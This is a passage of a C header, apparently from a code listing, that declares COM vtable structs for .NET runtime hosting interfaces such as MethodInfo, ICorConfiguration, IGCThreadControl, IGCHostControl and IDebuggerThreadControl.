| DUMMY_METHOD(IsFamily); 872 | DUMMY_METHOD(IsAssembly); 873 | DUMMY_METHOD(IsFamilyAndAssembly); 874 | DUMMY_METHOD(IsFamilyOrAssembly); 875 | DUMMY_METHOD(IsStatic); 876 | DUMMY_METHOD(IsFinal); 877 | DUMMY_METHOD(IsVirtual); 878 | DUMMY_METHOD(IsHideBySig); 879 | DUMMY_METHOD(IsAbstract); 880 | DUMMY_METHOD(IsSpecialName); 881 | DUMMY_METHOD(IsConstructor); 882 | 883 | HRESULT(STDMETHODCALLTYPE* Invoke_3)( 884 | IMethodInfo* This, 885 | VARIANT obj, 886 | SAFEARRAY* parameters, 887 | VARIANT* ret); 888 | 889 | DUMMY_METHOD(returnType); 890 | DUMMY_METHOD(ReturnTypeCustomAttributes); 891 | DUMMY_METHOD(GetBaseDefinition); 892 | 893 | END_INTERFACE 894 | } MethodInfoVtbl; 895 | 896 | typedef struct _MethodInfo { 897 | MethodInfoVtbl* lpVtbl; 898 | } MethodInfo; 899 | 900 | typedef struct ICorConfigurationVtbl 901 | { 902 | BEGIN_INTERFACE 903 | 904 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 905 | ICorConfiguration* This, 906 | /* [in] */ REFIID riid, 907 | /* [iid_is][out] */ 908 | __RPC__deref_out void** ppvObject); 909 | 910 | ULONG(STDMETHODCALLTYPE* AddRef)( 911 | ICorConfiguration* This); 912 | 913 | ULONG(STDMETHODCALLTYPE* Release)( 914 | ICorConfiguration* This); 915 | 916 | HRESULT(STDMETHODCALLTYPE* SetGCThreadControl)( 917 | ICorConfiguration* This, 918 | /* [in] */ IGCThreadControl* pGCThreadControl); 919 | 920 | HRESULT(STDMETHODCALLTYPE* SetGCHostControl)( 921 | ICorConfiguration* This, 922 | /* [in] */ IGCHostControl* pGCHostControl); 923 | 924 | HRESULT(STDMETHODCALLTYPE* SetDebuggerThreadControl)( 925 | ICorConfiguration* This, 926 | /* [in] */ IDebuggerThreadControl* pDebuggerThreadControl); 927 | 928 | HRESULT(STDMETHODCALLTYPE* AddDebuggerSpecialThread)( 929 | ICorConfiguration* This, 930 | /* [in] */ DWORD dwSpecialThreadId); 931 | 932 | END_INTERFACE 933 | } ICorConfigurationVtbl; 934 | 935 | typedef struct _ICorConfiguration 936 | { 937 | ICorConfigurationVtbl* lpVtbl; 938 | }ICorConfiguration; 939 | 940 | typedef struct IGCThreadControlVtbl 941 | { 942 | BEGIN_INTERFACE 943 | 944 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 945 | IGCThreadControl* This, 946 | /* [in] */ REFIID riid, 947 | /* [iid_is][out] */ 948 | __RPC__deref_out void** ppvObject); 949 | 950 | ULONG(STDMETHODCALLTYPE* AddRef)( 951 | IGCThreadControl* This); 952 | 953 | ULONG(STDMETHODCALLTYPE* Release)( 954 | IGCThreadControl* This); 955 | 956 | HRESULT(STDMETHODCALLTYPE* ThreadIsBlockingForSuspension)( 957 | IGCThreadControl* This); 958 | 959 | HRESULT(STDMETHODCALLTYPE* SuspensionStarting)( 960 | IGCThreadControl* This); 961 | 962 | HRESULT(STDMETHODCALLTYPE* SuspensionEnding)( 963 | IGCThreadControl* This, 964 | DWORD Generation); 965 | 966 | END_INTERFACE 967 | } IGCThreadControlVtbl; 968 | 969 | typedef struct _IGCThreadControl 970 | { 971 | IGCThreadControlVtbl* lpVtbl; 972 | }IGCThreadControl; 973 | 974 | typedef struct IGCHostControlVtbl 975 | { 976 | BEGIN_INTERFACE 977 | 978 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 979 | IGCHostControl* This, 980 | /* [in] */ REFIID riid, 981 | /* [iid_is][out] */ 982 | __RPC__deref_out void** ppvObject); 983 | 984 | ULONG(STDMETHODCALLTYPE* AddRef)( 985 | IGCHostControl* This); 986 | 987 | ULONG(STDMETHODCALLTYPE* Release)( 988 | IGCHostControl* This); 989 | 990 | HRESULT(STDMETHODCALLTYPE* RequestVirtualMemLimit)( 991 | IGCHostControl* This, 992 | /* [in] */ SIZE_T sztMaxVirtualMemMB, 993 | /* [out][in] */ SIZE_T* psztNewMaxVirtualMemMB); 994 | 995 | END_INTERFACE 996 | } IGCHostControlVtbl; 997 | 998 | typedef struct _IGCHostControl 999 | { 1000 | IGCHostControlVtbl* lpVtbl; 1001 | } IGCHostControl; 1002 | 1003 | typedef struct IDebuggerThreadControlVtbl 1004 | { 1005 | BEGIN_INTERFACE 1006 | 1007 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 1008 | IDebuggerThreadControl* This, 1009 | /* [in] */ REFIID riid, 1010 | /* [iid_is][out] */ 1011 | __RPC__deref_out void** ppvObject); 1012 | 1013 | ULONG(STDMETHODCALLTYPE* AddRef)( 1014 | IDebuggerThreadControl* This); 1015 | 1016 | ULONG(STDMETHODCALLTYPE* Release)( 1017 | IDebuggerThreadControl* This); 1018 | 1019 | HRESULT(STDMETHODCALLTYPE* ThreadIsBlockingForDebugger)( 1020 | IDebuggerThreadControl* This); 1021 | 1022 | HRESULT(STDMETHODCALLTYPE* ReleaseAllRuntimeThreads)( 1023 | IDebuggerThreadControl* This); 1024 | 1025 | HRESULT(STDMETHODCALLTYPE* StartBlockingForDebugger)( 1026 | IDebuggerThreadControl* This, 1027 | DWORD dwUnused); 1028 | 1029 | END_INTERFACE 1030 | } IDebuggerThreadControlVtbl; 1031 | 1032 | typedef struct _IDebuggerThreadControl { 1033 | IDebuggerThreadControlVtbl* lpVtbl; 1034 | } IDebuggerThreadControl; --------------------------------------------------------------------------------